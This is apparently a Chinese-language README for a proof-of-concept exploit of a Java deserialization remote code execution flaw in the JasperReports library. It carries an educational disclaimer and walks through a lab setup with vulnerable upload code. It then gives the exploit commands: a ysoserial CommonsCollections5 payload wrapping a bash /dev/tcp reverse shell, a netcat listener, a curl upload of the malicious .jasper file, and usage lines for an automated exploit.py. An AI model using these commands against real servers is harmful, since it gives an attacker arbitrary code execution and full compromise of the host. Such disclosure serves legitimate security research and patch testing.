⚠️ 免责声明: 本仓库仅用于教育目的和授权的安全测试。请勿对非您所有或未经您明确书面许可的系统使用。
Jaspersoft report 库版本 <= 7.0.3 存在通过利用 Java 反序列化流程导致的 远程代码执行 (RCE) 漏洞。此漏洞允许攻击者在使用该版本库的系统上建立反向 shell 连接。
为了传输数据,某些系统需要将对象转换为可传输的格式,这便是序列化。反序列化则是相反的操作。在 Java 中,存在漏洞的机制位于 ObjectInputStream.readObject(),该方法用于从输入流反序列化任何对象。由于 JRLoader.loadObject() 在 Jaspersoft 库中使用了此方法来读取 .jasper 文件报告,因此它成为了植入恶意代码的危险入口点。
仅使用 readObject() 并不足以触发代码。它只能作用于已知的可利用类。因此攻击者会利用已知的利用链(如 CommonCollection)来执行其载荷。
为了进行概念验证 (PoC),我在一台 Parrot 机器上搭建了一个实验室环境,该环境包含一个使用 Jaspersoft Report 库的 Java Web 服务器:
操作系统: Parrot OS 7 GNU/Linux 框架: Spring Boot 版本 2.7.18 依赖: Jasperreports 版本 7.0.3 环境: Java 11 编译器: Maven
@PostMapping("/upload-report")
public String uploadReport(@RequestParam("file") MultipartFile file) {
try {
InputStream is = file.getInputStream();
// JRLoader 内部调用了 ObjectInputStream.readObject()
JasperReport report = (JasperReport) JRLoader.loadObject(is);
...
第一步,一旦发现目标系统使用了存在漏洞的 Jasperreport 版本,您需要找到目标系统将接收 jasper 文件的具体位置。
在本环境中,该位置为 http://localhost:8080/upload-report。
接着,您需要找到一种方法来发现目标系统中哪些类可用于作为利用链。您也可以尝试几个利用链,观察哪个能触发系统。
在白盒测试场景下,我们可以自行查找这些信息:
mvn dependency:tree | grep -i "commons\|spring\|groovy\|beanshell"
我们发现系统使用了 CommonsCollections。
针对 CommonsCollections,您可以使用 ysoserial 脚本 来生成所需的载荷。此处以反向 shell 为例:
java -jar ysoserial.jar CommonsCollections5 "/bin/bash -i >& /dev/tcp/源IP/端口 0>&1" > file.jasper
您可能需要测试多个版本的 CommonsCollections 才能成功执行载荷。
为了建立反向 shell 连接,我们需要在一个端口上监听,以接收由载荷发起的来自目标系统的连接:
nc -lnvp 4444
最后,您只需将生成的载荷发送到之前找到的位置,并检查您的端口以确认目标系统已建立连接:
curl -X POST http://localhost:8080/upload-report -F "[email protected]"
有权访问该端点的攻击者可以以服务器权限执行任意代码,从而可能导致系统完全沦陷。
exploit.py 是一个自动化脚本,用于复现 CVE-2026-6009 漏洞的利用。
python3 exploit.py -t TARGET -s IP_SOURCE -p PORT
python3 exploit.py -t http://localhost:8080/upload-report -s 192.168.1.1 -p 4444
| 标志 | 描述 |
|---|---|
| -t, --target | 上传 .jasper 文件的位置 |
| -s, --source | 您的 IP 地址 |
| -p, --port | 您希望反向 shell 连接的端口 |